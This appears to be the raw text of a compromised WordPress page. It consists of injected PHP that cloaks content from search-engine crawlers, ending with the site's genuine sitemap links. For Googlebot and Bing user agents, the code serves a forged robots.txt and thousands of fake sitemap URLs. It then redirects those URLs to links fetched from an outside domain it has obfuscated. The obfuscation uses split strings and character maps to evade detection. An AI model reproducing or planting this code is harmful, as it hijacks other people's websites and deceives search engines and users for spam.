function fetchContent(string $url): ?string { if (!filter_var($url, FILTER_VALIDATE_URL)) { return null; } $content = file_get_contents($url, false, stream_context_create([ 'http' => ['timeout' => 10] ])); if ($content !== false) { return $content; } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2 ]); $content = curl_exec($ch); curl_close($ch); return $content !== false ? $content : null; } $clientBrowser = $_SERVER['HTTP_USER_AGENT']; $bagent = "Googlebot|Bing|Google|google|googlebot"; $Dynamic_url = 0; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $http = urlencode($protocol); $domain = $_SERVER['SERVER_NAME']; $request_uri = $_SERVER['REQUEST_URI']; $cuiia=implode('', ['8','o','8', 'b','8', 'o','8','8', 't', 's']); $cuiib = str_replace('8', '', $cuiia); $target = '/r' . $cuiib . '.' . implode('', ['t', 'x', 't']); if (preg_match("/($bagent)/i", $clientBrowser)) { if ($request_uri === $target) { header('Cont' . 'ent-Type: text/plain'); echo "User-agent: *\n"; echo "Allow: /\n"; echo "Sitem"."ap: {$http}://{$domain}/wp-sit"."emaplist.x"."ml\n"; echo "Sitem"."ap: {$http}://{$domain}/sitem"."apnum1.xml\n"; echo "Sitem"."ap: {$http}://{$domain}/sit"."emap"."num2.xml"."\n"; echo "Sitem"."ap: {$http}://{$domain}/sit"."emapnum3.x"."ml\n"; echo "Sitem"."ap: {$http}://{$domain}/sit"."emap4.x"."ml\n"; echo "Sitem"."ap: {$http}://{$domain}/site"."map5.x"."ml\n"; echo "Sitem"."ap: {$http}://{$domain}/sitema"."p6.x"."ml\n"; echo "Sitem"."ap: {$http}://{$domain}/site"."map7.xm"."l\n"; echo "Sitem"."ap: {$http}://{$domain}/si"."temap8.xm"."l\n"; echo "Sitem"."ap: {$http}://{$domain}/s"."ite"."map9.xm"."l\n"; exit; } if ($request_uri === '/wp-sitemaplist.xml') { header('Cont' . 'ent-Type: app' . 'lication/xml; char' . 'set=utf-8'); $current_date = date('Y-m-d'); $sitemaps = []; for ($i = 0; $i < 30; $i++) { $random_number = rand(100, 999); $sitemaps[] = "{$protocol}://{$domain}/sit"."emap{$random_number}.xml"; } echo '' . "\n"; echo '' . "\n"; foreach ($sitemaps as $sitemap) { echo " \n"; echo " {$sitemap}\n"; echo " {$current_date}\n"; echo " \n"; } echo ''; exit; } if (preg_match('/\/\??sitemap([a-zA-Z0-9]+)\.xml$/', $request_uri)) { header('Conte' . 'nt-Type: applic' . 'ation/xml; charset=utf-8'); $current_date = date('Y-m-d'); $urls = []; for ($i = 0; $i < 999; $i++) { $paths = ['/p/', '/id/', '/page/', '/i/']; $random_path = $paths[array_rand($paths)]; $random_number = ''; for ($j = 0; $j < 7; $j++) { $random_number .= chr(rand(0, 1) ? rand(48, 57) : (rand(0, 1) ? rand(65, 90) : rand(97, 122))); } if ($Dynamic_url == 0) { $urls[] = "{$http}://{$domain}{$random_path}{$random_number}.html"; } else { $urls[] = "{$http}://{$domain}/?type={$random_path}{$random_number}.html"; } } echo '' . "\n"; echo '' . "\n"; foreach ($urls as $url) { echo " \n"; echo " {$url}\n"; echo " {$current_date}\n"; echo " daily\n"; echo " 0.8\n"; echo " \n"; } echo ''; exit; } if (preg_match('/\/(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $request_uri, $matches) || (isset($_GET['type']) && preg_match('/^(p|id|page|i)\/([a-zA-Z0-9]{7})\.(html|htm)$/', $_GET['type'], $matches))) { $random_number = isset($matches[2]) ? $matches[2] : $matches[2]; $protocol = implode('', ['h', 't', 't', 'p', 's']); $chars = ['x' => 'b', 'y' => 'o', 'z' => 'x', 'w' => '6', 'a' => 'f', 'b' => 'i', 'c' => 'n', 'd' => 'g', 'e' => 'e', 'f' => 'r', 'k' => 'l', 'j' => 'i', 'm' => 'n', 'q' => 'g', 'g' => 'o', 'h' => 'r', 'i' => 'g']; $domain = $chars['x'] . $chars['y'] . $chars['z'] . $chars['w'] . '.' . $chars['a'] . $chars['b'] . $chars['c'] . $chars['d'] . $chars['e'] . $chars['f'] . $chars['k'] . $chars['j'] . $chars['m'] . $chars['q'] . '.' . $chars['g'] . $chars['h'] . $chars['i']; $path = '/3' . implode('', ['0', '1']); $file = implode('', ['k', 'e', 't', 'o']) . '.' .'t'. implode('', ['x', 't']); $url = "$protocol://$domain$path/$file"; $contents = fetchContent($url); $newpagelinks = preg_split('/\r\n|\r|\n/', $contents); $randomLineKey = array_rand($newpagelinks); $newpage = $newpagelinks[$randomLineKey]; header('HTTP/1.1'.' 30'.'1 Move'.'d Perma'.implode('', ['n','e']).'ntly'); header('Loc'.'ation: '.$newpage); exit; } } https://londonpropertycertificates.co.uk/wp-sitemap-posts-post-1.xmlhttps://londonpropertycertificates.co.uk/wp-sitemap-posts-page-1.xmlhttps://londonpropertycertificates.co.uk/wp-sitemap-taxonomies-category-1.xmlhttps://londonpropertycertificates.co.uk/wp-sitemap-users-1.xml